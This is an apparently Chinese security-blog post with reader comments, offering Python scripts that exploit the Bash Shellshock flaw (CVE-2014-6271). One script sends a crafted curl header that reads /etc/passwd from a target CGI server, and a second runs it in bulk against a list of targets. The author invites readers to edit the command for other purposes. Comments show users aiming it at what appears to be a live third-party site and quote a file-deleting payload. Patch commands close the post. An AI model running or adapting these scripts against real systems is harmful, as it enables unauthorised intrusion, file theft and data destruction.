Linux官方内置Bash中新发现一个非常严重安全漏洞,黑客可以利用该Bash漏洞完全控制目标系统并发起攻击。
Bash远程命令执行漏洞(CVE2014-6271)检测脚本
作者:ziwen(dn8.net团队)
运行环境:python 2.7
#!/usr/bin/env python #coding:utf-8 import os import sys import re print "f4ck ziwen cve 2014 6271 exp attacking!" if sys.argv[1].startswith('-'): option = sys.argv[1][1:] if option == 'url': b=sys.argv[2] if not re.match("http",sys.argv[2]): print "URL格式错误 正确格式例如http://www.baidu.com/1.cgi" else: out=re.sub("\.|\/","",b) out=out[7:] print "shahdashhdd",out,b a="curl -H \'x: () { :;};a=`/bin/cat /etc/passwd`;echo \"a: $a\"' '"+b+"' -I -o "+out+"\"output\".txt" os.system(a) f = open(out+"output.txt", 'r') a=f.read() if re.search("root|bin\/bash",a): print "target possible have bug under is *nix passwd file" print a else: f.close() os.remove(out+"output.txt") print "possible dont have bug! or have a waf!" else: print "error! U can email to me U question (ziwen@21.wf)" print option
脚本会将结果回显出来 如果存在漏洞的话还会把passwd文件保存在以目标域名+output命名的txt文档里,不成功不保存
执行方法
python c:\exp.py -url http://23.239.208.105/cgi-bin/poc.cgi
批量检测是否存在Bash远程命令执行漏洞
#!/usr/bin/env python #coding:utf-8 import os import sys PATH=sys.path[0]+"/" text=open(PATH+"target.txt",'r') for line in text: print line os.system("python "+PATH+"exp.py -url "+line)
该脚本调用了上面那个EXP 所以请运行该脚本时请将两个脚本放同一目录 并在该目录下新建target.txt文件将您的目标列表放进文件里
如:
http://www.baidu.com
http://23.239.208.105/cgi-bin/poc.cgi
然后运行该脚本即可 该脚本便会自动按顺序检测 会把结果回显出来 并会把成功的目标的passwd文件保存在 以目标域名+output命名的txt文档里,不成功不保存
请不要随意改变exp.py的文件名 如果改变了EXP.PY的文件名请将batch.py里面的exp.py改为您修改的文件名 否则batch.py会运行失败
其他
linux如果用不了上面那个版本请试下这个Linux专版
http://pan.baidu.com/s/1hq7oCYw
windows用不了请试试下面这个windows专版
http://pan.baidu.com/s/1kTmjNKV
如果需要生成其他文件或者利用漏洞做其他事请自行修改脚本中的curl命令
个别报错报CURL命令错误的是CURL版本问题,不是我脚本问题,我这边多个基友都测试了无误
漏洞修复方案
请您根据Linux版本选择您需要修复的命令, 为了防止意外情况发生,建议您执行命令前先对Linux服务器系统盘打个快照,如果万一出现升级影响您服务器使用情况,可以通过回滚系统盘快照解决。
centos:(最终解决方案)
yum clean all yum makecache yum -y update bash
ubuntu:(最终解决方案)
apt-get update apt-get -y install --only-upgrade bash
debian:(最终解决方案)
7.5 64bit && 32bit
apt-get update apt-get -y install --only-upgrade bash
6.0.x 64bit
wget http://mirrors.aliyun.com/debian/pool/main/b/bash/bash_4.1-3+deb6u2_amd64.deb && dpkg -i bash_4.1-3+deb6u2_amd64.deb
6.0.x 32bit
wget http://mirrors.aliyun.com/debian/pool/main/b/bash/bash_4.1-3+deb6u2_i386.deb && dpkg -i bash_4.1-3+deb6u2_i386.deb
aliyun linux:(最终解决方案)
5.x 64bit
wget http://mirrors.aliyun.com/centos/5/updates/x86_64/RPMS/bash-3.2-33.el5_10.4.x86_64.rpm && rpm -Uvh bash-3.2-33.el5_10.4.x86_64.rpm
5.x 32bit
wget http://mirrors.aliyun.com/centos/5/updates/i386/RPMS/bash-3.2-33.el5_10.4.i386.rpm && rpm -Uvh bash-3.2-33.el5_10.4.i386.rpm
opensuse:(最终解决方案)
zypper clean zypper refresh zypper update -y bash
[参考信息来源:http://bbs.aliyun.com/read/176977.html?spm=5176.7189909.3.15.sZTgst,转载请注明来自FreeBuf.COM]
不容错过
- Win8是如何引导你把文件同步至美国的FB情报组2014-05-30
- 关于39美刀的八大热门在线黑客学习课程合集说明lone2017-04-05
- 点亮我的攻击地图:树莓派蜜罐节点部署实战starshine2015-11-09
- 极客DIY:如何制作一个显卡?饭团君2016-04-25
0day
已有 61 条评论
centos 6.x 5.x 的bash修复后的rpm包,谁可以给一个地址。
@softbug
@softbug wget http://mirrors.aliyun.com/centos/5/updates/i386/RPMS/bash-3.2-33.el5_10.4.i386.rpm&&rpm -Uvh bash-3.2-33.el5_10.4.i386.rpm
wget http://mirrors.aliyun.com/centos/6/updates/x86_64/Packages/bash-4.1.2-15.el6_5.2.x86_64.rpm&& rpm -Uvh bash-4.1.2-15.el6_5.2.x86_64.rpm
OSX呢?
@MeirLin OSX直接用文中的脚本就可以 绝对无误 因为我本机就是OSX
我代码写得少你可别骗我
@Halo 懂Python的不需要解释 不懂的解释也解释不通
@ ziwen 这种说法好酷啊 张同学
那你能告诉我 为什么不用shell script来解决这个问题而要用python呢?可以谈一下你的远见么?难道是我们的张小朋友过于强大不屑于用shell这种弱爆了的东西?
明明一个文件就可以解决的事情,非要弄两个粗出!
@10086 这是批量和检测两个功能 弄两个方便用 请不要乱喷
@ziwen 呵呵,本来不想喷的,你一说我倒想说几句了,调用个系统命令也叫python?呵呵呵呵,直接cat password文件然后查找是否有root特征也叫漏洞?呵呵呵,让我来普及你幼小的心灵,并不是每个cgi都会输出,就算想做,也得做的漂亮点再拿出来吧,人得虚心懂吗?对了,路过的fb友告诉我,约架哪家强?!
@Halo 您真厉害您真吊 欢迎您来发文章 而不是只在这喷
@Halo 挖掘机技术到底哪家强?
你是河蟹派来的么?
C:\Users\HAWK>python C:\Users\HAWK\Desktop\bashceshi\exp.py http://contest.japia
s.jp/tqj2007/90087/cgi-bin/epad/epad.cgi
f4ck ziwen cve 2014 6271 exp attacking!
这算成功了吗?
@Fiend520 成功会回显passwd文件
@ziwen 不好意思,我刚刚接触python,还不是太懂,我这样应用对吗?
@Fiend520 是否报错了?
@Fiend520 有没有报错?
@ziwen 我运行的这个C:\Users\HAWK>python C:\Users\HAWK\Desktop\bashceshi\exp.py http://contest.japia s.jp/tqj2007/90087/cgi-bin/epad/epad.cgi
显示这个
f4ck ziwen cve 2014 6271 exp attacking!
@Fiend520 不显示别的?
@ziwen 不显示其他的。难道我的命令有错误,那个-url是必须添加的吗?我尝试过添加-url 以后显示不是内部命令。其余的没有任何显示。
@Fiend520 url当然要添加 要不然没有目标
@ziwen 我添加url了,你看我的操作命令是 python C:\Users\HAWK\Desktop\bashceshi\exp.py http://contest.japia s.jp/tqj2007/90087/cgi-bin/epad/epad.cgi我把你编写的exp放到了C:\Users\HAWK\Desktop\bashceshi\里,http://contest.japia s.jp/tqj2007/90087/cgi-bin/epad/epad.cgi这个是目标,我的意思是在这个目标之前要不要添加 -url这个命令
@Fiend520 要的
@ziwen 可是我一添加,一运行命令就显示 -url 不是内部命令,擦,是我太笨了还是没有配置好呢
@Fiend520 不能把 应该还是您没有配置好 要不您加我QQ吧 ziwen@21.wf
yum update bash是要重启?好像rpm安装不用.
有没有使用成功的? 完全用不了啊 我了个去 回显要不就是 f4ck ziwen cve 2014 6271 exp attacking! 一句广告 要不就是 SyntaxError: invalid syntax 语法错误 完全没有在目录里生成任何东西,有成功的烦请告知一声。
@看看1 那不是广告好吗 而且我也注明了为什么会报错和报错的解决办法 你不会Python不要乱喷好吗
@看看1 cetos上Python2.6+curl7.19版本OK
技术提高了不少
@黑黑的白猫 谢谢
楼主你能确定那些修复方案是最终的吗?
@ln1901 只是修复CVE20146271的
现在又出现了CVE-2014-7186,CVE-2014-7187,详见https://lists.gnu.org/archive/html/bug-bash/2014-09/msg00238.html,貌似bash 4.3.26修复不了CVE-2014-7186
Shellshock。公布漏洞只会让更多“黑客”获得新的手段,而真正会去补漏的少!
赞!
没搞,最近不在研究这个。
研究啥?工控系统漏洞?
可以加个参数 –url 单个,,,–file 批量,,,,,
@王思聪 恩恩 是个好主意
多谢分享。
玩得真不错!会玩的!
@无丶花 额?
能不能录制一个安装和使用的视频啊?这写的有点乱
@linso 录视频可以但每种环境的使用过程都不一样 例如LINUX直接就可以运行 win却要安装CURL 很纠结
你不应该调用个系统命令呀 ==
@hang333 头像不错 赞
@ziwen …
@ziwen 我的头像是个男的
我有个问题,我把exp:curl -H ‘x: () { :;};a=`/bin/cat /etc/passwd`;echo $a’ http://172.16.229.146/cgi-bin/poc.cgi -I -o "/Users/0xExploit/Desktop/output.txt"执行,可以在output.txt中看到结果。但是执行curl -H ‘x: () { :;};a=`/bin/cat /etc/passwd`;echo $a’ http://172.16.229.146/cgi-bin/poc.cgi却不返回结果。。这个表示不懂。。
另外看wooyun的这个exp:curl -A "() { :; }; /bin/rm /var/www/target" http://192.168.0.1/poc.cgi。也没侧成功。。
感谢解答。
@0xExploit 对不起是我考虑不周 所以要修改命令可能还要改正则 下次码代码时我会注意的 嘿嘿。。。
一定要写英文提示才牛逼吗.
@wangx 一定要用英文ID才牛比吗
redhat没有嘛
路过 学习了
http://cih.so/?p=754
@qwerty 交个朋友吧大牛
大神在这 我擦 牛xx的
路过,表示小白文